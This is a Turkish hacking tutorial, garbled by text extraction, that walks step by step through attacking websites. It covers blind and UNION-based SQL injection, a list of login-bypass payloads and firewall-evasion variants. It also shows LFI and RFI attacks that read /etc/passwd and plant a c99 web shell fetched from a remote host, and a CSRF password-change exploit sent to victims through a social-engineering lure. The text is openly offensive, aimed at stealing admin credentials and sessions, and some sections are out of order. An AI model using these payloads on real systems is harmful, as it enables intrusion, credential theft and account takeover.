wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
